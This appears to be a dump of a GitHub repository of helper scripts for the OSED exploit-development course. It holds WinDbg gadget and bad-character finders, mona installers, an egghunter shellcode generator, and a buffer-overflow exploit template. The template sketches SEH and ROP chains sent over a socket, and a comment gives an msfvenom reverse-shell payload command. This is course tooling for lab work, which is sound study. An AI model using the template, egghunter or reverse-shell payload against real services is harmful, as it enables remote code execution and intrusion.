├── img └── gadgets.png ├── pyproject.toml ├── search.py ├── install-mona.sh ├── LICENSE ├── utils.py ├── install-mona.ps1 ├── .gitignore ├── exploit-template.py ├── find-ppr.py ├── attach-process.ps1 ├── find-bad-chars.py ├── egghunter.py ├── find-gadgets.py ├── README.md └── shellcoder.py /img/gadgets.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epi052/osed-scripts/HEAD/img/gadgets.png -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "osed-scripts" 3 | version = "0.1.0" 4 | description = "" 5 | authors = ["Ben \"epi\" Risher "] 6 | 7 | [tool.poetry.dependencies] 8 | python = "^3.9" 9 | rich = "^10.1.0" 10 | ropper = "^1.13.6" 11 | keystone-engine = "^0.9.2" 12 | capstone = "^4.0.2" 13 | 14 | [tool.poetry.dev-dependencies] 15 | flake8 = "^3.9.1" 16 | black = "^21.4b2" 17 | 18 | [build-system] 19 | requires = ["poetry-core>=1.0.0"] 20 | build-backend = "poetry.core.masonry.api" 21 | -------------------------------------------------------------------------------- /search.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | 4 | import pykd 5 | 6 | 7 | def main(args): 8 | choice_table = {"byte": "b", "ascii": "a", "unicode": "u"} 9 | command = f"s -{choice_table.get(args.type)} 0 L?80000000 {args.pattern}" 10 | print(f'[=] running {command}') 11 | result = pykd.dbgCommand(command) 12 | 13 | if result is None: 14 | return print('[*] No results returned') 15 | 16 | print(result) 17 | 18 | 19 | if __name__ == "__main__": 20 | parser = argparse.ArgumentParser( 21 | description="Searches memory for the given search term" 22 | ) 23 | 24 | parser.add_argument( 25 | "-t", 26 | "--type", 27 | default="byte", 28 | choices=["byte", "ascii", "unicode"], 29 | help="data type to search for (default: byte)", 30 | ) 31 | parser.add_argument( 32 | "pattern", 33 | help="what you want to search for", 34 | ) 35 | 36 | args = parser.parse_args() 37 | 38 | main(args) 39 | -------------------------------------------------------------------------------- /install-mona.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | TOOLS=("https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip" "https://github.com/corelan/windbglib/raw/master/windbglib.py" "https://github.com/corelan/mona/raw/master/mona.py" "https://www.python.org/ftp/python/2.7.17/python-2.7.17.msi" "https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x86.exe" "https://raw.githubusercontent.com/epi052/osed-scripts/main/install-mona.ps1") 4 | 5 | TMPDIR=$(mktemp -d) 6 | SHARENAME="mona-share" 7 | SHARE="\\\\tsclient\\$SHARENAME" 8 | 9 | trap "rm -rf $TMPDIR" SIGINT 10 | 11 | pushd $TMPDIR >/dev/null 12 | 13 | echo "[+] once the RDP window opens, execute the following command in an Administrator terminal:" 14 | echo 15 | echo "powershell -c \"cat $SHARE\\install-mona.ps1 | powershell -\"" 16 | echo 17 | 18 | for tool in "${TOOLS[@]}"; do 19 | echo "[=] downloading $tool" 20 | wget -q "$tool" 21 | done 22 | 23 | unzip -qqo pykd.zip 24 | 25 | rdesktop ${1} -u offsec -p lab -r disk:$SHARENAME=. 26 | 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 epi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /utils.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from struct import pack 3 | from typing import List 4 | 5 | 6 | class RopChain: 7 | def __init__(self, base=None, pack_str=' int: 22 | return len(self.chain) 23 | 24 | @staticmethod 25 | def p32(address) -> bytes: 26 | return pack(' bytes: 29 | return pack(self.pack_str, address) 30 | 31 | def append_raw(self, address): 32 | """ just ignore the base address; useful for actual values in conjunction with pop r32 """ 33 | self.chain += pack(self.pack_str, address) 34 | 35 | 36 | def get_connection(ip: str, port: int) -> socket.socket: 37 | sock = None 38 | while sock is None: 39 | try: 40 | sock = socket.create_connection((ip, port)) 41 | except ConnectionRefusedError: 42 | continue 43 | return sock 44 | 45 | 46 | def sanity_check(byte_str: bytes, bad_chars: List[int]): 47 | baddies = list() 48 | 49 | for bc in bad_chars: 50 | if bc in byte_str: 51 | print(f"[!] bad char found: {hex(bc)}") 52 | baddies.append(bc) 53 | 54 | if baddies: 55 | print(f"[=] {byte_str}") 56 | print("[!] Remove bad characters and try again") 57 | raise SystemExit 58 | -------------------------------------------------------------------------------- /install-mona.ps1: -------------------------------------------------------------------------------- 1 | $share_path = "\\tsclient\mona-share\" 2 | $install_dir = "C:\Users\Offsec\Desktop\install-mona" 3 | 4 | echo "[+] creating installation directory: $install_dir" 5 | mkdir $install_dir 6 | 7 | # install old c++ runtime 8 | echo "[+] installing old c++ runtime" 9 | copy "$share_path\vcredist_x86.exe" $install_dir 10 | cd $install_dir 11 | .\vcredist_x86.exe 12 | start-sleep 10 13 | 14 | echo "[+] backing up old pykd files" 15 | move "C:\Program Files\Windows Kits\10\Debuggers\x86\winext\pykd.pyd" "C:\Program Files\Windows Kits\10\Debuggers\x86\winext\pykd.pyd.bak" 16 | move "C:\Program Files\Windows Kits\10\Debuggers\x86\winext\pykd.dll" "C:\Program Files\Windows Kits\10\Debuggers\x86\winext\pykd.dll.bak" 17 | 18 | # install python2.7 19 | 20 | echo "[+] installing python2.7" 21 | copy "$share_path\python-2.7.17.msi" $install_dir 22 | msiexec.exe /i $install_dir\python-2.7.17.msi /qn 23 | start-sleep 10 24 | 25 | # register Python2.7 binaries in path before Python3 26 | echo "[+] adding python2.7 to the PATH" 27 | $p = [System.Environment]::GetEnvironmentVariable('Path',[System.EnvironmentVariableTarget]::User) 28 | [System.Environment]::SetEnvironmentVariable('Path',"C:\Python27\;C:\Python27\Scripts;"+$p,[System.EnvironmentVariableTarget]::User) 29 | 30 | # copy mona files 31 | echo "[+] bringing over mona files and fresh pykd" 32 | copy "$share_path\windbglib.py" "C:\Program Files\Windows Kits\10\Debuggers\x86" 33 | copy "$share_path\mona.py" "C:\Program Files\Windows Kits\10\Debuggers\x86" 34 | copy "$share_path\pykd.pyd" "C:\Program Files\Windows Kits\10\Debuggers\x86\winext" 35 | 36 | # register runtime debug dll 37 | echo "[+] registering runtime debug dll" 38 | cd "C:\Program Files\Common Files\Microsoft Shared\VC" 39 | regsvr32 /s msdia90.dll 40 | 41 | echo "[=] in case you see something about symbols when running mona, try executing the following (the runtime took too long to install)" 42 | echo "regsvr32 "C:\Program Files\Common Files\Microsoft Shared\VC\msdia90.dll" 43 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /exploit-template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import socket 4 | 5 | sys.path.insert(0, '../../osed-scripts') 6 | from utils import RopChain, sanity_check, get_connection 7 | 8 | 9 | bad_chars = [0, 0xa, 0xd, 0x2b, 0x25, 0x26, 0x3d] 10 | 11 | 12 | def get_payload() -> bytes: 13 | # msfvenom -p windows/shell_reverse_tcp lhost=eth0 lport=54321 -b '\x0a\x0d\x2b\x25\x26\x3d\x00' -v shellcode -f python 14 | shellcode = b'' 15 | 16 | return shellcode 17 | 18 | 19 | def get_rop_chain() -> bytes: 20 | # BOOL VirtualProtect( 21 | # LPVOID lpAddress, 22 | # SIZE_T dwSize, 23 | # DWORD flNewProtect, 24 | # PDWORD lpflOldProtect 25 | # ); 26 | # 27 | # skeleton = RopChain() 28 | # skeleton += 0x41414141 # VirtualProtect address 29 | # skeleton += 0x42424242 # shellcode return address to return to after VirtualProtect is called 30 | # skeleton += 0x43434343 # lpAddress (same as above) 31 | # skeleton += 0x44444444 # dwSize (size of shellcode, 0x300 or so) 32 | # skeleton += 0x45454545 # flNewProtect (0x40) 33 | # skeleton += 0x46464646 # lpflOldProtect (some writable memory address) 34 | # ------------------------- 35 | # ------------------------- 36 | # LPVOID VirtualAlloc( 37 | # LPVOID lpAddress, 38 | # SIZE_T dwSize, 39 | # DWORD flAllocationType, 40 | # DWORD flProtect 41 | # ); 42 | # 43 | # skeleton = RopChain() 44 | # skeleton += 0x41414141 # VirtualAlloc address 45 | # skeleton += 0x42424242 # shellcode return address to return to after VirtualAlloc is called 46 | # skeleton += 0x43434343 # lpAddress (shellcode address) 47 | # skeleton += 0x44444444 # dwSize (0x1) 48 | # skeleton += 0x45454545 # flAllocationType (0x1000) 49 | # skeleton += 0x46464646 # flProtect (0x40) 50 | # ------------------------- 51 | # ------------------------- 52 | # BOOL WriteProcessMemory( 53 | # HANDLE hProcess, 54 | # LPVOID lpBaseAddress, 55 | # LPCVOID lpBuffer, 56 | # SIZE_T nSize, 57 | # SIZE_T *lpNumberOfBytesWritten 58 | # ); 59 | # 60 | # skeleton = RopChain() 61 | # skeleton += 0x41414141 # WriteProcessMemory address 62 | # skeleton += 0x42424242 # shellcode return address to return to after WriteProcessMemory is called 63 | # skeleton += 0xffffffff # hProcess (pseudo Process handle) 64 | # skeleton += 0x44444444 # lpBaseAddress (Code cave address) 65 | # skeleton += 0x45454545 # lpBuffer (shellcode address) 66 | # skeleton += 0x46464646 # nSize (size of shellcode) 67 | # skeleton += 0x47474747 # lpNumberOfBytesWritten (writable memory address, i.e. !dh -a MODULE) 68 | # ------------------------- 69 | # ------------------------- 70 | 71 | ropnop = 0x0 72 | offset_to_eip = 0 73 | 74 | rop = RopChain(chain=b'A' * (offset_to_eip - len(skeleton))) 75 | rop += skeleton.chain 76 | 77 | rop += 0x0 78 | ############################ 79 | # EAX => 80 | # EBX => 81 | # ECX => 82 | # EDX => 83 | # ESI => 84 | # EDI => 85 | # ------------------------- 86 | # skeleton[0] = 0x41414141 87 | # skeleton[1] = 0x42424242 88 | # skeleton[2] = 0x43434343 89 | # skeleton[3] = 0x44444444 90 | # skeleton[4] = 0x45454545 91 | # skeleton[5] = 0x46464646 92 | ############################ 93 | 94 | rop += b'\x90' * 20 95 | rop += get_payload() 96 | 97 | sanity_check(rop.chain, bad_chars) 98 | 99 | return rop.chain 100 | 101 | 102 | def get_seh_overwrite() -> bytes: 103 | total_len = 0 104 | offset_to_eip = 0 105 | 106 | seh_chain = b'A' * (offset_to_eip - 4) 107 | seh_chain += b'B' * 4 # nseh 108 | seh_chain += b'C' * 4 # seh - ppr or similar 109 | seh_chain += b'C' * (total_len - len(seh_chain)) 110 | 111 | return seh_chain 112 | 113 | 114 | def send_exploit(sock: socket.socket, buffer: bytes, read_response=False): 115 | sock.send(buffer) 116 | print(f'[+] sent {len(buffer)} bytes') 117 | 118 | if read_response: 119 | resp = sock.recv(4096) 120 | print('[*] response:') 121 | print(resp) 122 | 123 | 124 | def main(): 125 | conn = get_connection('127.0.0.1', 111) # todo change ip/port 126 | send_exploit(conn, get_rop_chain()) 127 | 128 | 129 | if __name__ == '__main__': 130 | main() -------------------------------------------------------------------------------- /find-ppr.py: -------------------------------------------------------------------------------- 1 | import pykd 2 | import argparse 3 | from enum import Enum, auto 4 | 5 | 6 | def hex_byte(byte_str): 7 | """validate user input is a hex representation of an int between 0 and 255 inclusive""" 8 | if byte_str == "??": 9 | # windbg shows ?? when it can't access a memory region, but we shouldn't stop execution because of it 10 | return byte_str 11 | 12 | try: 13 | val = int(byte_str, 16) 14 | if 0 <= val <= 255: 15 | return val 16 | else: 17 | raise ValueError 18 | except ValueError: 19 | raise argparse.ArgumentTypeError( 20 | f"only *hex* bytes between 00 and ff are valid, found {byte_str}" 21 | ) 22 | 23 | 24 | class Module: 25 | # 00400000 00465000 diskpls (deferred) 26 | def __init__(self, unparsed): 27 | self.name = "unknown" 28 | self.start = -1 29 | self.end = -1 30 | self.unparsed = unparsed.split() 31 | self.parse() 32 | 33 | def parse(self): 34 | if len(self.unparsed) >= 3: 35 | self.start = self.unparsed[0] 36 | self.end = self.unparsed[1] 37 | self.name = self.unparsed[2] 38 | 39 | def __str__(self): 40 | return f"{self.name}(start={self.start}, end={self.end})" 41 | 42 | 43 | class PopR32(Enum): 44 | eax = 0x58 45 | ecx = auto() 46 | edx = auto() 47 | ebx = auto() 48 | esp = auto() 49 | esi = auto() 50 | edi = auto() 51 | 52 | 53 | def checkBadChars(bAddr, badChars): 54 | for i in bAddr: 55 | if i in badChars: 56 | return "--" 57 | return "OK" 58 | 59 | 60 | def main(args): 61 | modules = pykd.dbgCommand("lm") 62 | totalGadgets = 0 # This tracks all the total number of usable gadgets 63 | modGadgetCount = {} # This tracks the number of gadgets per module 64 | for mod_line in modules.splitlines(): 65 | module = Module(mod_line) 66 | 67 | if module.name.lower() not in [mod.lower() for mod in args.modules]: 68 | continue 69 | numGadgets = 0 # This is the number of gadgets found in this module 70 | print(f"[+] searching {module.name} for pop r32; pop r32; ret") 71 | print("[+] BADCHARS: ", end="") 72 | for i in args.bad: 73 | print("\\x{:02X}".format(i), end="") 74 | print() 75 | 76 | for pop1 in range(0x58, 0x60): 77 | 78 | for pop2 in range(0x58, 0x60): 79 | command = ( 80 | f"s-[1]b {module.start} {module.end} {hex(pop1)} {hex(pop2)} c3" 81 | ) 82 | result = pykd.dbgCommand(command) 83 | 84 | if result is None: 85 | continue 86 | 87 | for addr in result.splitlines(): 88 | try: 89 | bAddr = int(addr, 16).to_bytes(4, "little") 90 | bcChk = checkBadChars(bAddr, args.bad) 91 | bAddrEsc = "" # This is the escaped string containing the little endian addr for shellcode output 92 | for b in bAddr: 93 | bAddrEsc += "\\x{:02X}".format(b) 94 | if args.showbc and bcChk == "--": 95 | print( 96 | f"[{bcChk}] {module.name}::{addr}: pop {PopR32(pop1).name}; pop {PopR32(pop2).name}; ret ; {bAddrEsc}" 97 | ) 98 | elif bcChk == "OK": 99 | print( 100 | f"[{bcChk}] {module.name}::{addr}: pop {PopR32(pop1).name}; pop {PopR32(pop2).name}; ret ; {bAddrEsc}" 101 | ) 102 | numGadgets = numGadgets + 1 103 | except ValueError: 104 | # not a valid pop r32 105 | pass 106 | print(f"[+] {module.name}: Found {numGadgets} usable gadgets!") 107 | modGadgetCount[module.name] = numGadgets # Add to the dict 108 | totalGadgets = ( 109 | totalGadgets + numGadgets 110 | ) # Increment total number of gadgets found 111 | print("\n---- STATS ----") # Print out all the stats 112 | print(">> BADCHARS: ", end="") 113 | for i in args.bad: 114 | print("\\x{:02X}".format(i), end="") 115 | print() 116 | print(f">> Usable Gadgets Found: {totalGadgets}") 117 | print(">> Module Gadget Counts") 118 | for m, c in modGadgetCount.items(): 119 | print(" - {}: {} ".format(m, c)) 120 | 121 | 122 | if __name__ == "__main__": 123 | parser = argparse.ArgumentParser() 124 | parser.add_argument( 125 | "-s", 126 | "--showbc", 127 | help="Show addresses with bad chars", 128 | action="store_true" 129 | ) 130 | parser.add_argument( 131 | "-b", 132 | "--bad", 133 | help="space separated list of hex bytes that are already known bad (ex: -b 00 0a 0d)", 134 | nargs="+", 135 | type=hex_byte, 136 | default=[], 137 | ) 138 | parser.add_argument( 139 | "-m", 140 | "--modules", 141 | help="module name(s) to search for pop pop ret (ex: find-ppr.py libspp diskpls libpal)", 142 | required=True, 143 | nargs="+", 144 | ) 145 | args = parser.parse_args() 146 | main(args) 147 | print("Done!") -------------------------------------------------------------------------------- /attach-process.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .PARAMETER service_name 3 | Service to restart (optional) 4 | .PARAMETER path 5 | Path to executable to debug (optional) 6 | .PARAMETER process_name 7 | Process name to debug (required) 8 | .PARAMETER commands 9 | String of windbg commands to be run at startup; separate more than one command with semi-colons (optional) 10 | .EXAMPLE 11 | C:\PS> .\attach-process.ps1 -service-name fastbackserver -process-name fastbackserver -commands 'bp fastbackserver!recvfrom' 12 | 13 | Restart the fastback server service and then attach to the fastback server process. Addtionally, set a breakpoint as an initial command. 14 | #> 15 | [CmdletBinding()] 16 | param ( 17 | [Parameter()] 18 | [ValidateNotNullOrEmpty()] 19 | [string] 20 | $commands 21 | ) 22 | 23 | DynamicParam { 24 | 25 | # Set the dynamic parameters' name 26 | $svc_param = 'service-name' 27 | 28 | # Create the dictionary 29 | $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary 30 | 31 | # Create the collection of attributes 32 | $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] 33 | 34 | # Create and set the parameters' attributes 35 | $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute 36 | 37 | # Add the attributes to the attributes collection 38 | $AttributeCollection.Add($ParameterAttribute) 39 | 40 | # Generate and set the ValidateSet 41 | $svc_set = Get-Service | select -ExpandProperty Name 42 | $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($svc_set) 43 | 44 | # Add the ValidateSet to the attributes collection 45 | $AttributeCollection.Add($ValidateSetAttribute) 46 | 47 | # Create and return the dynamic parameter 48 | $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($svc_param, [string], $AttributeCollection) 49 | $RuntimeParameterDictionary.Add($svc_param, $RuntimeParameter) 50 | 51 | # repeat the process for the next dynamic param 52 | $ps_param = 'process-name' 53 | $ps_attrs = New-Object System.Collections.ObjectModel.Collection[System.Attribute] 54 | $ps_paramattr = New-Object System.Management.Automation.ParameterAttribute 55 | $ps_attrs.Add($ps_paramattr) 56 | $ps_rtp = New-Object System.Management.Automation.RuntimeDefinedParameter($ps_param, [string], $ps_attrs) 57 | $RuntimeParameterDictionary.add($ps_param, $ps_rtp) 58 | 59 | # adding path name argument 60 | $name_param = 'path' 61 | $name_attrs = New-Object System.Collections.ObjectModel.Collection[System.Attribute] 62 | $name_paramattr = New-Object System.Management.Automation.ParameterAttribute 63 | $name_attrs.Add($name_paramattr) 64 | $name_rtp = New-Object System.Management.Automation.RuntimeDefinedParameter($name_param, [string], $name_attrs) 65 | $RuntimeParameterDictionary.add($name_param, $name_rtp) 66 | 67 | return $RuntimeParameterDictionary 68 | } 69 | begin { 70 | $service_name = $PsBoundParameters[$svc_param] 71 | $path = $PsBoundParameters[$name_param] 72 | 73 | if ($service_name -and $path) { 74 | Write-Error "Cannot specify -service-name and -path arguments together." -ErrorAction Stop 75 | } 76 | 77 | if ($path) { 78 | $path_validate = Test-Path $path 79 | if ($path_validate -eq $false ) { 80 | Write-Error "Supplied -path $path argument does not exist" -ErrorAction Stop 81 | } 82 | 83 | Write-Host "[+] Starting $path" 84 | $pathproc = Start-Process -FilePath $path -PassThru 85 | } 86 | 87 | 88 | if ($service_name) { 89 | $svc = get-service -name $service_name 90 | 91 | if ($svc.status -ne 'Running') { 92 | Write-Host "[+] Starting $service_name" 93 | start-service -name $service_name 94 | } 95 | } 96 | 97 | $process_name = $PsBoundParameters[$ps_param] 98 | 99 | } 100 | process { 101 | $process = Get-Process $process_name 102 | 103 | if (-not $process) { 104 | Write-Host "[-] Killing $pathproc" 105 | stop-process $pathproc 106 | Write-Error "Supplied -process-name $process_name not found" -ErrorAction Stop 107 | } 108 | 109 | $cmd_args = "-WF c:\windbg_custom.wew -p $($process.id)" 110 | 111 | if ($commands) { 112 | $cmd_args += " -c '$commands'" 113 | } else { 114 | $cmd_args += " -g" 115 | } 116 | 117 | write-host "[+] Attaching to $process_name" 118 | $winDBGPath = "" 119 | switch (([IntPtr]::Size).ToString()) { 120 | "4" { $winDBGPath = "C:\Program Files\Windows Kits\10\Debuggers\x86\windbg.exe" } 121 | "8" { $winDBGPath = "C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\windbg.exe" } 122 | Default { 123 | Write-Error "Could not determine architecture! Proceeding as x86!" 124 | $winDBGPath = "C:\Program Files\Windows Kits\10\Debuggers\x86\windbg.exe" 125 | } 126 | } 127 | start-process -wait -filepath $winDBGPath -verb RunAs -argumentlist $cmd_args 128 | 129 | if ($service_name) { 130 | Do { 131 | # restart the service once we detach from windbg 132 | restart-service -name $service_name -force -erroraction silentlycontinue 133 | 134 | $svc = get-service -name $service_name 135 | 136 | If ($svc.status -ne 'Running') { Write-Host "Waiting for service $service_name to start" ; Start-Sleep -Milliseconds 250 } 137 | Else { Write-Host "[+] $service_name has been restarted"} 138 | 139 | } 140 | Until ($svc.status -eq 'Running') 141 | } 142 | } 143 | 144 | -------------------------------------------------------------------------------- /find-bad-chars.py: -------------------------------------------------------------------------------- 1 | import pykd 2 | import argparse 3 | 4 | 5 | def hex_byte(byte_str): 6 | """validate user input is a hex representation of an int between 0 and 255 inclusive""" 7 | if byte_str == "??": 8 | # windbg shows ?? when it can't access a memory region, but we shouldn't stop execution because of it 9 | return byte_str 10 | 11 | try: 12 | val = int(byte_str, 16) 13 | if 0 <= val <= 255: 14 | return val 15 | else: 16 | raise ValueError 17 | except ValueError: 18 | raise argparse.ArgumentTypeError( 19 | f"only *hex* bytes between 00 and ff are valid, found {byte_str}" 20 | ) 21 | 22 | 23 | class Memdump: 24 | def __init__(self, line): 25 | self.__bytes = list() 26 | self.__address = "" 27 | self._parse_line(line) 28 | 29 | @property 30 | def bytes(self): 31 | return self.__bytes 32 | 33 | @bytes.setter 34 | def bytes(self, val: str): 35 | self.__bytes = [hex_byte(x) for x in val.split()] 36 | 37 | @property 38 | def address(self): 39 | return self.__address 40 | 41 | @address.setter 42 | def address(self, val: str): 43 | self.__address = val 44 | 45 | def _parse_line(self, line): 46 | # 0185ff54 99 77 9e 77 77 c9 03 8c-60 77 9e 77 60 77 9e 77 .wžwwÉ.Œ`wžw`wžw 47 | # double space as delim will give 0 as the address and 1 as the bytes, the rest can be discarded 48 | parts = line.split(" ")[:2] # discard the ascii portion right away 49 | 50 | if len(parts) == 0: 51 | return 52 | 53 | self.address = parts[0] 54 | bytes_str = "" 55 | 56 | for i, byte in enumerate(parts[1].split()): 57 | if i == 7: 58 | # handle the hyphen separator between the 8th and 9th byte 59 | # 99 77 9e 77 77 c9 03 8c-60 77 9e 77 60 77 9e 77 60 | bytes_str += " ".join(byte.split("-")) + " " 61 | continue 62 | bytes_str += f"{byte} " 63 | 64 | # pass to the setter as a space separated string of hex bytes for further processing/assignment 65 | self.bytes = bytes_str 66 | 67 | def __str__(self): 68 | byte_str = "" 69 | for byte in self.bytes: 70 | if byte == "??": 71 | byte_str += f"{byte} " 72 | else: 73 | byte_str += f"{byte:02X} " 74 | 75 | return f"{self.address} {byte_str}" 76 | 77 | 78 | def find_bad_chars(args): 79 | chars = bytes(i for i in range(args.start, args.end + 1) if i not in args.bad) 80 | 81 | command = f"db {args.address} L 0n{len(chars)}" 82 | result = pykd.dbgCommand(command) 83 | 84 | if result is None: 85 | print(f"[!] Ran '{command}', but received no output; exiting...") 86 | raise SystemExit 87 | 88 | char_counter = 0 89 | 90 | for line in result.splitlines(): 91 | memdump = Memdump(line) 92 | print(memdump) 93 | print(" " * 10, end="") # filler for our comparison line 94 | 95 | for byte in memdump.bytes: 96 | if byte == chars[char_counter]: 97 | print(f"{byte:02X}", end=" ") 98 | else: 99 | print("--", end=" ") 100 | 101 | char_counter += 1 102 | 103 | print() 104 | 105 | 106 | def generate_byte_string(args): 107 | known_bad = ", ".join(f'{x:02X}' for x in args.bad) 108 | var_str = f"chars = bytes(i for i in range({args.start}, {args.end + 1}) if i not in [{known_bad}])" 109 | 110 | print("[+] characters as a range of bytes") 111 | print(var_str, end="\n\n") 112 | 113 | print("[+] characters as a byte string") 114 | 115 | # deliberately not using enumerate since it may not execute in certain situations depending on user input for the 116 | # range bounds 117 | counter = 0 118 | 119 | for i in range(args.start, args.end + 1): 120 | if i in args.bad: 121 | continue 122 | 123 | if i == args.start: 124 | # first byte 125 | print(f"chars = b'\\x{i:02X}", end="") 126 | elif counter % 16 == 0: 127 | # start a new line 128 | print("'") 129 | print(f"chars += b'\\x{i:02X}", end="") 130 | else: 131 | print(f"\\x{i:02X}", end="") 132 | 133 | counter += 1 134 | 135 | if counter % 16 != 0 and counter != 0: 136 | print("'") 137 | 138 | 139 | def main(args): 140 | if args.address is not None: 141 | find_bad_chars(args) 142 | else: 143 | generate_byte_string(args) 144 | 145 | 146 | if __name__ == "__main__": 147 | parser = argparse.ArgumentParser() 148 | 149 | parser.add_argument( 150 | "-s", 151 | "--start", 152 | help="hex byte from which to start searching in memory (default: 00)", 153 | default=0, 154 | type=hex_byte, 155 | ) 156 | parser.add_argument( 157 | "-e", 158 | "--end", 159 | help="last hex byte to search for in memory (default: ff)", 160 | default=255, 161 | type=hex_byte, 162 | ) 163 | parser.add_argument( 164 | "-b", 165 | "--bad", 166 | help="space separated list of hex bytes that are already known bad (ex: -b 00 0a 0d)", 167 | nargs="+", 168 | type=hex_byte, 169 | default=[], 170 | ) 171 | 172 | mutuals = parser.add_mutually_exclusive_group(required=True) 173 | mutuals.add_argument( 174 | "-a", "--address", help="address from which to begin character comparison" 175 | ) 176 | mutuals.add_argument( 177 | "-g", 178 | "--generate", 179 | help="generate a byte string suitable for use in source code", 180 | action="store_true", 181 | ) 182 | 183 | parsed = parser.parse_args() 184 | 185 | if parsed.start > parsed.end: 186 | print("[!] --start value must be higher than --end; exiting...") 187 | raise SystemExit 188 | 189 | main(parsed) 190 | -------------------------------------------------------------------------------- /egghunter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import argparse 4 | import keystone as ks 5 | 6 | 7 | def is_valid_tag_count(s): 8 | return True if len(s) == 4 else False 9 | 10 | 11 | def tag_to_hex(s): 12 | string = s 13 | if is_valid_tag_count(s) == False: 14 | args.tag = "c0d3" 15 | string = args.tag 16 | retval = list() 17 | for char in string: 18 | retval.append(hex(ord(char)).replace("0x", "")) 19 | return "0x" + "".join(retval[::-1]) 20 | 21 | 22 | def ntaccess_hunter(tag): 23 | asm = f""" 24 | loop_inc_page: 25 | or dx, 0x0fff 26 | loop_inc_one: 27 | inc edx 28 | loop_check: 29 | push edx 30 | xor eax, eax 31 | add ax, 0x01c6 32 | int 0x2e 33 | cmp al, 05 34 | pop edx 35 | loop_check_valid: 36 | je loop_inc_page 37 | is_egg: 38 | mov eax, {tag_to_hex(tag)} 39 | mov edi, edx 40 | scasd 41 | jnz loop_inc_one 42 | first_half_found: 43 | scasd 44 | jnz loop_inc_one 45 | matched_both_halves: 46 | jmp edi 